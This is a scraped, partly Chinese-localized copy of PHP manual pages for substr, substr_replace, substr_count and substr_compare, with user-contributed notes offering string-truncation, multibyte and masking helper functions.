       "&#8212;" => "-",
       "" => "-",
       "&#8216;" => "'",
       "" => "'",
       "&#8217;" => "'",
       "" => "'",
       "&#8230;" => "...",
       "" => "...",
       "" => "\"",
       "&#8220;" => "\"",
       "" => "\"",
       "&#8221;" => "\"",
   );

It is important to note you need both the unicode contol character (&#8221;) AND its text equivalent ().  For instance, text copied and pasted into your html form from M$ Word will have the control character, whereas the same text viewed in a browser and copied into your html form using drag-and-drop will have the text equivalent.

A pox on Redmond for the way M$ Word is set to convert all these characters to unicode equivalents by default.

Note: you can expand the array to get rid of accented characters too, but remember the same thing applies.  For example, both "&#352;" => "S" and "" => "S" should be added to the array.
JamesHeinrich at Technologist dot com
01-Aug-2001 06:15
To build on the provided example, this small function will translate all accented characters into non-accented ones:

function removeaccents($string) {
 return strtr($string, "", "SOZsozYYuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy");
}
herve at milk dot fr
11-Oct-2000 10:21
strtr() is useful when trying to convert a string from PHP to Javascript (as JS doesn't allow linebreaks in string declarations) :

<script language="Javascript">
<?php
 print("var js_string = \"%s\";",strtr($php_string,"\n\r\t\0","    ");
?>
add a note add a note

后退 | 起点 | 前进
strtoupper | 上一级 | substr_compare


substr_compare

(PHP 5)

substr_compare -- Binary safe optionally case insensitive comparison of 2 strings from an offset, up to length characters

Description

int substr_compare ( string main_str, string str, int offset [, int length [, bool case_insensitivity]] )

substr_compare() compares main_str from position offset with str up to length characters.

Returns < 0 if main_str from position offset is less than str, > 0 if it is greater than str, and 0 if they are equal. If length is equal or greater than length of main_str and length is set, substr_compare() prints warning and returns FALSE.

If case_insensitivity is TRUE, comparison is case insensitive.

例子 1. A substr_compare() example

<?php
echo substr_compare("abcde", "bc", 1, 2); // 0
echo substr_compare("abcde", "bcg", 1, 2); // 0
echo substr_compare("abcde", "BC", 1, 2, true); // 0
echo substr_compare("abcde", "bc", 1, 3); // 1
echo substr_compare("abcde", "cd", 1, 2); // -1
echo substr_compare("abcde", "abc", 5, 1); // warning
?>

add a note add a note User Contributed Notes
sleek
23-May-2005 08:07
Modified version of the original posted function. Use this one:

<?php
if (!function_exists('substr_compare')) {
   function substr_compare($main_str, $str, $offset, $length = NULL, $case_insensitivity = false) {
       $offset = (int) $offset;

       // Throw a warning because the offset is invalid
       if ($offset >= strlen($main_str)) {
           trigger_error('The start position cannot exceed initial string length.', E_USER_WARNING);
           return false;
       }

       // We are comparing the first n-characters of each string, so let's use the PHP function to do it
       if ($offset == 0 && is_int($length) && $case_insensitivity === true) {
           return strncasecmp($main_str, $str, $length);
       }

       // Get the substring that we are comparing
       if (is_int($length)) {
           $main_substr = substr($main_str, $offset, $length);
           $str_substr = substr($str, 0, $length);
       } else {
           $main_substr = substr($main_str, $offset);
           $str_substr = $str;
       }

       // Return a case-insensitive comparison of the two strings
       if ($case_insensitivity === true) {
           return strcasecmp($main_substr, $str_substr);
       }

       // Return a case-sensitive comparison of the two strings
       return strcmp($main_substr, $str_substr);
   }
}
?>
add a note add a note

后退 | 起点 | 前进
strtr | 上一级 | substr_count


substr_count

(PHP 4, PHP 5)

substr_count -- Count the number of substring occurrences

说明

int substr_count ( string haystack, string needle [, int offset [, int length]] )

substr_count() returns the number of times the needle substring occurs in the haystack string. Please note that needle is case sensitive.

注: This function doesn't count overlapped substrings. See the example below!

参数

haystack

The string to search in

needle

The substring to search for

offset

The offset where to start counting

length

The maximum length after the specified offset to search for the substring. It outputs a warning if the offset plus the length is greater than the haystack length.

返回值

This functions returns an integer.

更新日志

版本 | 说明
5.1.0 | Added the offset and the length parameters

范例

例子 1. A substr_count() example

<?php
$text = 'This is a test';
echo strlen($text); // 14

echo substr_count($text, 'is'); // 2

// the string is reduced to 's is a test', so it prints 1
echo substr_count($text, 'is', 3);

// the text is reduced to 's i', so it prints 0
echo substr_count($text, 'is', 3, 3);

// generates a warning because 5+10 > 14
echo substr_count($text, 'is', 5, 10);

// prints only 1, because it doesn't count overlapped subtrings
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd');
?>

参见

count_chars()
strpos()
substr()
strstr()

add a note add a note User Contributed Notes
XinfoX X at X XkarlX X-X XphilippX X dot X XdeX
22-Dec-2003 05:27
Yet another reference to the "cgcgcgcgcgcgc" example posted by "chris at pecoraro dot net":

Your request can be fulfilled with the Perl compatible regular expressions and their lookahead and lookbehind features.

The example

 $number_of_full_pattern = preg_match_all('/(cgc)/', "cgcgcgcgcgcgcg", $chunks);

works like the substr_count function. The variable $number_of_full_pattern has the value 3, because the default behavior of Perl compatible regular expressions is to consume the characters of the string subject that were matched by the (sub)pattern. That is, the pointer will be moved to the end of the matched substring.
But we can use the lookahead feature that disables the moving of the pointer:

 $number_of_full_pattern = preg_match_all('/(cg(?=c))/', "cgcgcgcgcgcgcg", $chunks);

In this case the variable $number_of_full_pattern has the value 6.
Firstly a string "cg" will be matched and the pointer will be moved to the end of this string. Then the regular expression looks ahead whether a 'c' can be matched. Despite of the occurence of the character 'c' the pointer is not moved.
add a note add a note

后退 | 起点 | 前进
substr_compare | 上一级 | substr_replace


substr_replace

(PHP 4, PHP 5)

substr_replace -- Replace text within a portion of a string

Description

mixed substr_replace ( mixed string, string replacement, int start [, int length] )

substr_replace() replaces a copy of string delimited by the start and (optionally) length parameters with the string given in replacement. The result string is returned. If string is an array then array is returned.

If start is positive, the replacing will begin at the start'th offset into string.

If start is negative, the replacing will begin at the start'th character from the end of string.

If length is given and is positive, it represents the length of the portion of string which is to be replaced. If it is negative, it represents the number of characters from the end of string at which to stop replacing. If it is not given, then it will default to strlen( string ); i.e. end the replacing at the end of string.

例子 1. substr_replace() example

<?php
$var = 'ABCDEFGH:/MNRPQR/';
echo "Original: $var<hr />\n";

/* These two examples replace all of $var with 'bob'. */
echo substr_replace($var, 'bob', 0) . "<br />\n";
echo substr_replace($var, 'bob', 0, strlen($var)) . "<br />\n";

/* Insert 'bob' right at the beginning of $var. */
echo substr_replace($var, 'bob', 0, 0) . "<br />\n";

/* These next two replace 'MNRPQR' in $var with 'bob'. */
echo substr_replace($var, 'bob', 10, -1) . "<br />\n";
echo substr_replace($var, 'bob', -7, -1) . "<br />\n";

/* Delete 'MNRPQR' from $var. */
echo substr_replace($var, '', 10, -1) . "<br />\n";
?>

注: 本函数可安全用于二进制对象。

See also str_replace() and substr().

add a note add a note User Contributed Notes
chuayw2000 at hotmail dot com
09-Dec-2005 07:33
I don't know if this function is multibyte safe but I've written a function that will do the same in multibyte mode.

<?php
//Check to see if it exists in case PHP has this function later
if (!function_exists("mb_substr_replace")){
   //Same parameters as substr_replace with the extra encoding parameter.
   function mb_substr_replace($string,$replacement,$start,$length=null,$encoding = null){
       if ($encoding == null){
           if ($length == null){
               return mb_substr($string,0,$start).$replacement;
           }
           else{
               return mb_substr($string,0,$start).$replacement.mb_substr($string,$start + $length);
           }
       }
       else{
           if ($length == null){
               return mb_substr($string,0,$start,$encoding).$replacement;
           }
           else{
               return mb_substr($string,0,$start,$encoding). $replacement. mb_substr($string,$start + $length,mb_strlen($string,$encoding),$encoding);
           }
       }
   }
}
?>
michael(at)webstaa(dot)com
06-Dec-2005 12:47
I created this because of the need to mask a credit-card number like **** **** **** 8862

string mask ( string str, int start [, int length] )

mask() masks a copy of str delimited by the start and (optionally) length parameters with asterisks (*) in place of non-whitespace characters

<?php
   function mask ( $str, $start = 0, $length = null ) {
       $mask = preg_replace ( "/\S/", "*", $str );
       if ( is_null ( $length )) {
           $mask = substr ( $mask, $start );
           $str = substr_replace ( $str, $mask, $start );
       } else {
           $mask = substr ( $mask, $start, $length );
           $str = substr_replace ( $str, $mask, $start, $length );
       }
       return $str;
   }
?>
hermes at andycostell dot com
28-Aug-2005 02:48
I suggest changing the function suggested by Guru Evi slightly. I found that it doesn't work as written here.

Original:
function add_3dots($string,$repl,$start,$limit) {
   if(strlen($string) > $limit) {
       return substr_replace(strip_tags($string),$repl,$start,$limit);
   } else {
       return $string;
   };
};

I suggest:
function add_3dots($string,$repl,$limit) {
       if(strlen($string) > $limit) {
           return substr_replace(strip_tags($string),$repl,$limit-strlen($repl));
       } else {
           return $string;
       }
   }

Usage:

$max_length=10;//the max number of characters you want to display
$too_long_string="BLAH BLAH BLAH BLAH BLAH etc.";//the string you want to shorten (if it's longer than the $limit)
$shorter_string=add_3_dots($too_long_string,"...",$max_length);
Guru Evi
13-Jul-2005 03:44
If your string is not long enough to meet what you specify in start and length then the replacement string is added towards the end of the string.

I wanted to replace the end of the string with ... if the string was too long to display (for instance article preview on a website). The problem was that my string was sometimes not that long and it still added the replacement string. So I wrote a function to replace substr_replace in my website:

function add_3dots($string,$repl,$start,$limit) {
   if(strlen($string) > $limit) {
       return substr_replace(strip_tags($string),$repl,$start,$limit);
   } else {
       return $string;
   };
};

I use strip_tags to strip out the HTML otherwise you might get a screwed up HTML (when a tags open in the string, but because you cut-off it doesn't)
ogt at parasane dot com
22-Jan-2005 07:02
Actually, just a minor correction to tekrat at 2d dot com's post:

Change the code....
<?
       if(strlen($substring) < 1){
           $string = $rep;
       }else{
           $string = $substring;
       }
?>

.... into....
<?
       if(strlen($substring) >= 1){
           $string = $substring;
       }
?>

.... otherwise you'll end up with the elipses (...) for any null strings.
tekrat at 2d dot com
07-Jan-2005 12:55
Here's a slightly revised version of the truncation function above.

Theres isn't much of a reason to  add in the $rep at the end of the original string is less then the truncation break point.
<?
   function truncate($substring, $max = 50, $rep = '...') {
       if(strlen($substring) < 1){
           $string = $rep;
       }else{
           $string = $substring;
       }

       $leave = $max - strlen ($rep);

       if(strlen($string) > $max){
           return substr_replace($string, $rep, $leave);
       }else{
           return $string;
       }

   }
?>
danieldoorduin at hotmail dot com
10-Dec-2004 06:48
Using substr_replace() can be avoided by using substr() instead:

<?
$string = substr($string, 0, $position_needle).$replace.substr($string, $position_needle+$length_needle);
?>

This can be useful when you need to replace parts of multibyte strings like strings encoded with utf-8. There isn't a multibute variant for substr_replace(), but for php substr() there is mb_substr(). For more information on multibyte strings see http://nl3.php.net/manual/en/ref.mbstring.php
titbits at nospam-4logical dot co dot uk
05-Aug-2004 05:28
A simple but useful 'pluralize' function using substr_replace:

  function pluralize($noun) {
   if ($noun{strlen($noun) -1} == "y")
     $noun = substr_replace($noun, "ies", strlen($noun) -1);
   else
     $noun .= "s";

   return $noun;
  }

Handy when displaying dynamic text.
dmron
18-Jun-2004 07:34
Regarding "...", even the short functions are too long and complicated, and there's no need to use substr_replace. substr() works better and is  way faster prior to 4.3.5 as the below poster stated.

function shorten( $str, $num = 100 ) {
  if( strlen( $str ) > $num ) $str = substr( $str, 0, $num ) . "...";
  return $str;
}
philip
14-May-2004 03:55
The substr_replace() function is extremely slow in PHP versions prior to 4.3.5 and 5.0.0 so consider using an alternative before this time.
tony at outshine dot com
10-May-2004 05:25
The comment by geniusdex is a good one.  Short, simple functions are the best.  But if the string is not longer than the limit set, NOTHING is returned.  Here is the function re-done to always return a string:

<?php
function dot($str, $len, $dots = "...") {
   if (strlen($str) > $len) {
       $dotlen = strlen($dots);
       $str = substr_replace($str, $dots, $len - $dotlen);
   }
   return $str;
}
?>
geniusdex ( at ) brz ( dot ) nu
23-Feb-2004 11:33
This is my version of making dotted strings:

<?php
function dot($str, $len, $dots = "...") {
   if (strlen($str) > $len) {
       $dotlen = strlen($dots);
       substr_replace($str, $dots, $len - $dotlen);
   }
}
?>
Thijs Wijnmaalen (thijs[at]nllinux.nl)
21-Jan-2004 03:05
I wrote a function that you can use for example in combination with a search script to cut off the articles that are too long.

<?php
function substr_index($text, $maxChars = 20, $splitter
= '...') {

$theReturn = $text;
$lastSpace = false;

if (strlen($text) > $maxChars) {
$theReturn = substr($text, 0, $maxChars - 1);

if (in_array(substr($text, $maxChars - 1, 1),
array(' ', '.', '!', '?'))) {
$theReturn .= substr($text, $maxChars, 1);
} else {
$theReturn = substr($theReturn, 0, $maxChars -
strlen($splitter));
$lastSpace = strrpos($theReturn, ' ');

if ($lastSpace !== false) {
$theReturn = substr($theReturn, 0, $lastSpace);
}

if (in_array(substr($theReturn, -1, 1), array(','))) {
$theReturn = substr($theReturn, 0, -1);
}
$theReturn .= $splitter;
}
}
return $theReturn;
}
?>
neon at lordneon dot com
05-Nov-2003 08:40
The easiest way (I think) to add trailing dots after a string which in my case are too long is:

<?
function dots($num, $string) {
   if (strlen($string) < $num) {
       $string = substr_replace($string, '...', '-10', $num);
   }
   return $string;
}

Then on your page do something like:
<? echo dots("30" $row['title']); ?>

if the string is greater than the specific number it'll replace 3 dots.

I hope this helps =)
?>
david at ethinkn dot com
06-Jul-2003 08:36
Here is a simple function to shorten a string and add an ellipsis

<?php

/**
 * truncate() Simple function to shorten a string and add an ellipsis
 *
 * @param string $string Origonal string
 * @param integer $max Maximum length
 * @param string $rep Replace with... (Default = '' - No elipsis -)
 * @return string
 * @author David Duong
 **/
function truncate ($string, $max = 50, $rep = '') {
   $leave = $max - strlen ($rep);
   return substr_replace($string, $rep, $leave);
}

echo truncate ('akfhslakdhglksjdgh', 10, '...');
// Returns akfhsla... (10 chrs)

?>
thomasNOSPAM at sportentranceNOSPAM dot com
09-Oct-2002 06:01
To abbreviate links into '...' if they outreach a certain amount of space; use the preg_replace function instead.

For instance you grabbed the headlines of a news site for use on your own page and the lines are to long:

asuming the raw material is stored in $unedited;

$edited = preg_replace("/(>)([[:print:]]{52,})(<)/e", "'\\1'.substr_replace('\\2 ', '...', '48').'\\3'", $unedited);
echo $edited;

This will shorten strings longer than 52 characters into 51 characters, with the last being three dots...
klaas at group94 dot com
14-Feb-2002 02:38
THE DOT DOT DOT ISSUE

PROBLEM:
You want to abbreviate a string.
E.g. You want "BritneySpears" to show as "BritneySpe...", being only the ten first characters followed by "..."

SOLUTION:
<?
$oRIGINAL = "BritneySpears";
$sHORTER = substr_replace($oRIGINAL, '...', 10);
echo ($sHORTER);
?>

This will result in BritneySpe...
29-Sep-2001 11:30
If you would like to remove characters from the start or end of a string, try the substr() function.

For example, to remove the last three characters from a string:
$string = "To be or not to be.";
$string = substr ($string, 0, -3);
mrbrown8 at juno dot com
17-Apr-2001 03:16
Just to add to the examples, if replacement is longer than length, only the length number of chars are removed from string and all of replacement is put in its place, and therefor strlen($string) is inreased.

$var = 'ABCDEFGH:/MNRPQR/';
/*  Should return ABCDEFGH:/testingRPQR/  */
echo substr_replace ($var, 'testing', 10, 2);
stefan at maifei dot com
02-Apr-2001 04:33
If you are trying to use -0, I don't think it works.  For example:

substr_replace($file,'',-4,0)

There may be an alternative though...
jgainey at infoave dot net
14-Mar-2001 10:29
[Editor's note: for a much simpler solution, use number_format()]

I had a situation in which I needed to add a comma to the third position of a number(the price of something).
<p>
$price = "12000";<br>
$price = substr_replace ($price, ',', -3, 0)";<br>
the result would be 12,000<p>
the -3 counts from right to left. a regular 3 would count from left to right
I hope this helps...
add a note add a note

后退 | 起点 | 前进
substr_count | 上一级 | substr


substr

(PHP 3, PHP 4, PHP 5)

substr -- Return part of a string

Description

string substr ( string string, int start [, int length] )

substr() returns the portion of string specified by the start and length parameters.

If start is non-negative, the returned string will start at the start'th position in string, counting from zero. For instance, in the string 'abcdef', the character at position 0 is 'a', the character at position 2 is 'c', and so forth.

例子 1. Basic substr() usage

<?php
echo substr('abcdef', 1);     // bcdef
echo substr('abcdef', 1, 3);  // bcd
echo substr('abcdef', 0, 4);  // abcd
echo substr('abcdef', 0, 8);  // abcdef
echo substr('abcdef', -1, 1); // f

// Accessing single characters in a string
// can also be achived using "curly braces"
$string = 'abcdef';
echo $string{0};                 // a
echo $string{3};                 // d
echo $string{strlen($string)-1}; // f

?>

If start is negative, the returned string will start at the start'th character from the end of string.

例子 2. Using a negative start

<?php
$rest = substr("abcdef", -1);    // returns "f"
$rest = substr("abcdef", -2);    // returns "ef"
$rest = substr("abcdef", -3, 1); // returns "d"
?>

If length is given and is positive, the string returned will contain at most length characters beginning from start (depending on the length of string). If string is less than or equal to start characters long, FALSE will be returned.

If length is given and is negative, then that many characters will be omitted from the end of string (after the start position has been calculated when a start is negative). If start denotes a position beyond this truncation, an empty string will be returned.

例子 3. Using a negative length

<?php
$rest = substr("abcdef", 0, -1);  // returns "abcde"
$rest = substr("abcdef", 2, -1);  // returns "cde"
$rest = substr("abcdef", 4, -4);  // returns ""
$rest = substr("abcdef", -3, -1); // returns "de"
?>

See also strrchr(),
substr_replace(),
ereg(),
trim(),
mb_substr() and
wordwrap().

add a note add a note User Contributed Notes
rodrigo at fabricadeideias dot com
18-Mar-2006 05:17
It might be obvious to some but I took some time to figure it out that you can't call
<?php
$text = substr($text, 0, -0);
?>
and expect $text to be unchanged.

A bit of context might make the issue clearer. I'm calculating how many characters I need to chop of the end of the string and them I call substr as
<?php
$text = substr($text, 0, -$charactersToChop);
?>
Sometimes $charactersToChop is set to 0 and in this case I wanted $text to be unchanged. The problem is that in this case $text gets set to an empty string.

Why? Because -0 is the same as 0 and substr($text, 0, 0) obviously returns an empty string.

In case someone want a fix:
<?php
if ($charactersToChop) {
  $text = substr($text, 0, -$charactersToChop);
}
?>

That's it.
SpikeDaCruz
16-Mar-2006 11:45
If you want to substring the middle of a string with another and keep the words intact:

<?php
/**
 * Reduce a string by the middle, keeps whole words together
 *
 * @param string $string
 * @param int $max (default 50)
 * @param string $replacement (default [...])
 * @return string
 * @author david at ethinkn dot com
 * @author loic at xhtml dot ne
 * @author arne dot hartherz at gmx dot net
 */

function strMiddleReduceWordSensitive ($string, $max = 50, $rep = '[...]') {
   $strlen = strlen($string);

   if ($strlen <= $max)
       return $string;

   $lengthtokeep = $max - strlen($rep);
   $start = 0;
   $end = 0;

   if (($lengthtokeep % 2) == 0) {
       $start = $lengthtokeep / 2;
       $end = $start;
   } else {
       $start = intval($lengthtokeep / 2);
       $end = $start + 1;
   }

   $i = $start;
   $tmp_string = $string;
   while ($i < $strlen) {
       if ($tmp_string[$i] == ' ') {
           $tmp_string = substr($tmp_string, 0, $i) . $rep;
           $return = $tmp_string;
       }
       $i++;
   }

   $i = $end;
   $tmp_string = strrev ($string);
   while ($i < $strlen) {
       if ($tmp_string[$i] == ' ') {
           $tmp_string = substr($tmp_string, 0, $i);
           $return .= strrev ($tmp_string);
       }
       $i++;
   }
   return $return;
   return substr($string, 0, $start) . $rep . substr($string, - $end);
}

echo strMiddleReduceWordSensitive ('ABCDEEF GHIJK LLKJHKHKJHKL HGHFK sdfasdfsdafsdf sadf asdf sadf sad s', 30) . "\n";
// Returns: ABCDEEF GHIJK[...]asdf sadf sad s (33 chrs)
echo strMiddleReduceWordSensitive ('ABCDEEF GHIJK LLKJHKHKJHKL HGHFK sdfasdfsdafsdf sadf asdf sadf sad s', 30, '...') . "\n";
// Returns: ABCDEEF GHIJK...asdf sadf sad s (32 chrs)
?>
x11 at arturaz dot afraid dot org
17-Feb-2006 09:01
/**
 * Cut string to n symbols and add delim but do not break words.
 *
 * Example:
 * <code>
 *  $string = 'this is some content to be shortened';
 *  echo myfragment($string, 15);
 * </code>
 *
 * Output: 'this is some content...'
 *
 * @access public
 * @param string string we are operating with
 * @param integer character count to cut to
 * @param string|NULL delimiter. Default: '...'
 * @return string processed string
 **/
function myfragment($str, $n, $delim='...') { // {{{
   $len = strlen($str);
   if ($len > $n) {
       preg_match('/(.{' . $n . '}.*?)\b/', $str, $matches);
       return rtrim($matches[1]) . $delim;
   }
   else {
       return $str;
   }
} // }}}
shadzar
13-Feb-2006 09:21
a function to read in a file and split the string into its individual characters and display them as images for a webcounter.

can be used anywhere you need to split a string where a seperator is not present and versions where the str_split() function is also not present.

<?php
//start counter
$filename = "counter_file.txt";
$pathtoiamges = "http://www.yoursite.com/counter/";//where is your iamges
$extension = ".gif";//what filetype are your images in
//--------------do not change below this line-------------------
$counter=file_get_contents($filename);
$counter++;
$count=$counter;
$current=0;
$visit=array("");//array to hold individual characters
//split string into individual characters
//same as str_split($str) in PHP5
while (strlen($count)>0)
   {
   $current++;
   $visit[$current]=substr($count,0,1);//get current digit
   $count=substr($count,1,strlen($count));//reduce number string to remove last stored digit
   }
//display images of digits
foreach ($visit as $vis)
   {
   if ($vis!=""){echo "<img src=\"". $pathtoimages . $vis . .$extension . "\">";}
   }
$list = fopen($filename, "w+");
fwrite($list, $counter);
fclose($list);
//end counter
?>

requires a file to store the counter and 10 images to represent the digits (0-9) if used as a counter.
wishie at gmail dot com
04-Feb-2006 10:37
Here's a function I wrote that'll insert a string into another string with an offset.

// $insertstring - the string you want to insert
// $intostring - the string you want to insert it into
// $offset - the offset

function str_insert($insertstring, $intostring, $offset) {
   $part1 = substr($intostring, 0, $offset);
   $part2 = substr($intostring, $offset);

   $part1 = $part1 . $insertstring;
   $whole = $part1 . $part2;
   return $whole;
}
Matt Mangels
15-Jan-2006 03:39
To felipe, wouldn't the following be easier (assuming you even wanted a charAt function in the first place, because you can use $string{$number}):

<?php
function charAt($string, $num) {
return $string{$num};
|
?>
Bradley from California
11-Jan-2006 05:34
Add on to "Matias from Argentina" str_format_number function.
Just added handling of $String shorter then $Format by adding a side to start the fill and a string length to the while loop.

function str_format_number($String, $Format, $Start = 'left'){
   //If we want to fill from right to left incase string is shorter then format
   if ($Start == 'right') {
       $String = strrev($String);
       $Format = strrev($Format);
   }
   if($Format == '') return $String;
   if($String == '') return $String;
   $Result = '';
   $FormatPos = 0;
   $StringPos = 0;
   while ((strlen($Format) - 1) >= $FormatPos && strlen($String) > $StringPos) {
       //If its a number => stores it
       if (is_numeric(substr($Format, $FormatPos, 1))) {
           $Result .= substr($String, $StringPos, 1);
           $StringPos++;
           //If it is not a number => stores the caracter
       } else {
           $Result .= substr($Format, $FormatPos, 1);
       }
       //Next caracter at the mask.
       $FormatPos++;
   }
   if ($Start == 'right') $Result = strrev($Result);
   return $Result;
}
eallik at hotmail dot com
05-Jan-2006 11:22
Be careful when comparing the return value of substr to FALSE. FALSE may be returned even if the output is a valid string.

substr("0", 0); // equals "0", comparision with FALSE evaluates to true, because "0" == 0 == FALSE
mr at bbp dot biz
14-Dec-2005 06:54
Here's a little addon to the html_substr function posted by fox.

Now it counts only chars outside of tags, and doesn't cut words.

Note: this will only work in xhtml strict/transitional due to the checking of "/>" tags and the requirement of quotations in every value of a tag. It's also only been tested with the presence of br, img, and a tags, but it should work with the presence of any tag.

<?php
function html_substr($posttext, $minimum_length = 200, $length_offset = 20, $cut_words = FALSE, $dots = TRUE) {

   // $minimum_length:
   // The approximate length you want the concatenated text to be

   // $length_offset:
   // The variation in how long the text can be in this example text
   // length will be between 200 and 200-20=180 characters and the
   // character where the last tag ends

   // Reset tag counter & quote checker
   $tag_counter = 0;
   $quotes_on = FALSE;
   // Check if the text is too long
   if (strlen($posttext) > $minimum_length) {
       // Reset the tag_counter and pass through (part of) the entire text
       $c = 0;
       for ($i = 0; $i < strlen($posttext); $i++) {
           // Load the current character and the next one
           // if the string has not arrived at the last character
           $current_char = substr($posttext,$i,1);
           if ($i < strlen($posttext) - 1) {
               $next_char = substr($posttext,$i + 1,1);
           }
           else {
               $next_char = "";
           }
           // First check if quotes are on
           if (!$quotes_on) {
               // Check if it's a tag
               // On a "<" add 3 if it's an opening tag (like <a href...)
               // or add only 1 if it's an ending tag (like </a>)
               if ($current_char == '<') {
                   if ($next_char == '/') {
                       $tag_counter += 1;
                   }
                   else {
                       $tag_counter += 3;
                   }
               }
               // Slash signifies an ending (like </a> or ... />)
               // substract 2
               if ($current_char == '/' && $tag_counter <> 0) $tag_counter -= 2;
               // On a ">" substract 1
               if ($current_char == '>') $tag_counter -= 1;
               // If quotes are encountered, start ignoring the tags
               // (for directory slashes)
               if ($current_char == '"') $quotes_on = TRUE;
           }
           else {
               // IF quotes are encountered again, turn it back off
               if ($current_char == '"') $quotes_on = FALSE;
           }

           // Count only the chars outside html tags
           if($tag_counter == 2 || $tag_counter == 0){
               $c++;
           }

           // Check if the counter has reached the minimum length yet,
           // then wait for the tag_counter to become 0, and chop the string there
           if ($c > $minimum_length - $length_offset && $tag_counter == 0 && ($next_char == ' ' || $cut_words == TRUE)) {
               $posttext = substr($posttext,0,$i + 1);
               if($dots){
                   $posttext .= '...';
               }
               return $posttext;
           }
       }
   }
   return $posttext;
}

?>
felipe at spdata dot com dot br
29-Nov-2005 08:48
JavaScript charAt PHP equivalent

<?php
   function charAt($str, $pos)
   {
       return (substr($str, $pos, 1)) ? substr($str, $pos, 1) : -1;
   }
?>

If found, return the charecter at the specified position, otherwise return -1
drifterlrsc at yahoo dot com
28-Nov-2005 07:37
another function simular to Jays

function myfragment($s,$n) {
 $scan=0;
  while($scan==0){
   if(substr($s,$n,1)==' '){
       $scan=1;
   }else{
       $n++;
   }
  }
  return substr($s,0,$n) . "...";
}

$string='this is some content to be shortened';
echo myfragment($string,15);

will output

this is some content...

goes to the first space after 15 characters.
18-Oct-2005 10:47
<?php
function utf8_substr($str,$from,$len){
# utf8 substr
# www.yeap.lv
  return preg_replace('#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$from.'}'.
                       '((?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$len.'}).*#s',
                       '$1',$str);
}
?>
bob at 808medien dot de
16-Sep-2005 05:10
Truncates a string at a certain position without cutting words into senseless pieces.

I hope this is usefull for some of you and that it is not another redundant note (I didn't find one) ...

<?php

$string        = "Truncates a string at a certain position without &raquo;cutting&laquo; words into senseless pieces.";
$maxlength    = 75;
$extension    = " ...";

function truncate_string ($string, $maxlength, $extension) {

   // Set the replacement for the "string break" in the wordwrap function
   $cutmarker = "**cut_here**";

   // Checking if the given string is longer than $maxlength
   if (strlen($string) > $maxlength) {

       // Using wordwrap() to set the cutmarker
       // NOTE: wordwrap (PHP 4 >= 4.0.2, PHP 5)
       $string = wordwrap($string, $maxlength, $cutmarker);

       // Exploding the string at the cutmarker, set by wordwrap()
       $string = explode($cutmarker, $string);

       // Adding $extension to the first value of the array $string, returned by explode()
       $string = $string[0] . $extension;
   }

   // returning $string
   return $string;

}

// This Will output:
// "Truncates a string at a certain position without cutting ..."
echo truncate_string ($string, $maxlength, $extension);

?>

Best
Bob
andrzej dot martynowicz at gmail dot com
04-Sep-2005 05:19
substr() can provide easy way to get a filename with or without extension
<?
function getFilename( $file, $extension = true ) {
   return ($extension || false === $dot = strrpos( basename( $file ), '.' ))
       ? basename( $file ) : substr( basename( $file ), 0, $dot );
}

echo getFilename( 'foo.php' ); // foo.php
echo getFilename( 'foo.php', false ); // foo
echo getFilename( 'dir/foo.php' ); // foo.php
echo getFilename( 'foo' ); // foo - note that $extension is true here
echo getFilename( '.php', false ); // '' - empty string
?>
concordia at jusgoo dot farvista dot net
19-Aug-2005 03:30
You can use PHP substr() along with MySQL to make mailstrings.

<?php

require ('../mysql_connt.php'); // Connect to MySQL.  Assuming the connection works and there are no errors.

$mail_string = NULL; // Initialize the variable.

$query = 'SELECT email FROM users'; // Select e-mail from users.
$result = mysql_query ($query); // Submit the query.
if ($result) { // If the resource result is provided.
   while ($row = mysql_fetch_array ($result, MYSQL_NUM)) {
     $mail_string .= '<a href="mailto:' . $row[0] . '">' . $row[0] . '</a>, '; // Concat. the e-mails to the mail string.
   }
   echo substr ($mail_string, 0, -2); // Trim off the final comma and space then echo it.
}

?>

This will create a mailstring like this:

email1@domain.com, email2@domain.com, email3@domain1.com
frank at jkelloggs dot dk
26-Jul-2005 05:37
Regarding the utf8_substr function from lmak: The pattern '/./u' doesn't match newline characters. This means that the substring from 0 to the total length of the string will miss the number of characters in the end matching the number of newlines in the string. To fix this one can add the s modifier (PCRE_DOTALL) in the pattern:

<?php
function utf8_substr($str,$start)
{
   preg_match_all("/./su", $str, $ar);

   if(func_num_args() >= 3) {
       $end = func_get_arg(2);
       return join("",array_slice($ar[0],$start,$end));
   } else {
       return join("",array_slice($ar[0],$start));
   }
}
?>
jeroen at jscwebdesign dot nl
10-Jul-2005 05:58
javazz at gmail dot com:

Would it be much easier if instead of

<?php
while (substr ($path, -1) != '/'){
   $path = substr( $path, 0, -1);
 }
?>

you used

<?php
$path  = substr($path, strrpos($path, '/') + 1, strlen($path));
?>
julius at infoguiden dot no
05-Jul-2005 02:23
This function shortens the string down to maximum lengt defined in $max_lengt. If the string is longer the function finds the last occurance of a space and adds three dots at the end to illustrate that it is more text. If the string is without spaces it stops at exacly max lengt, also adding three dots. If the string is shorter than max lengt it returns the string as it is. This is useful for previewing long strings.

function str_stop($string, $max_length){
   if (strlen($string) > $max_length){
       $string = substr($string, 0, $max_length);
       $pos = strrpos($string, " ");
       if($pos === false) {
               return substr($string, 0, $max_length)."...";
           }
       return substr($string, 0, $pos)."...";
   }else{
       return $string;
   }
}
php_net at thomas dot trella dot de
29-Jun-2005 11:07
I needed to cut a string after x chars at a  html converted utf-8 text (for example Japanese text like &#23344;&#35632;&#24368;&#33072;&#27440;&#32591;).
The problem was, the different length of the signs, so I wrote the following function to handle that.
Perhaps it helps.

<?php

function html_cutstr ($str, $len)
{
   if (!preg_match('/\&#[0-9]*;.*/i', $str))
   {
       $rVal = strlen($str, $len);
       break;
   }

   $chars = 0;
   $start = 0;
   for($i=0; $i < strlen($str); $i++)
   {
       if ($chars >= $len)
       break;

       $str_tmp = substr($str, $start, $i-$start);
       if (preg_match('/\&#[0-9]*;.*/i', $str_tmp))
       {
           $chars++;
           $start = $i;
       }
   }
   $rVal = substr($str, 0, $start);
   if (strlen($str) > $start)
   $rVal .= " ...";
   return $rVal;
}
?>
javazz at gmail dot com
16-Jun-2005 01:04
A really simple script to shorten the web site's address (http://something.com/file.php -> http://something.com/)
in case you need to know where you are without showing the .php file.

<?php
$path = "http://" . $_SERVER['HTTP_HOST'] . $HTTP_SERVER_VARS["SCRIPT_NAME"];
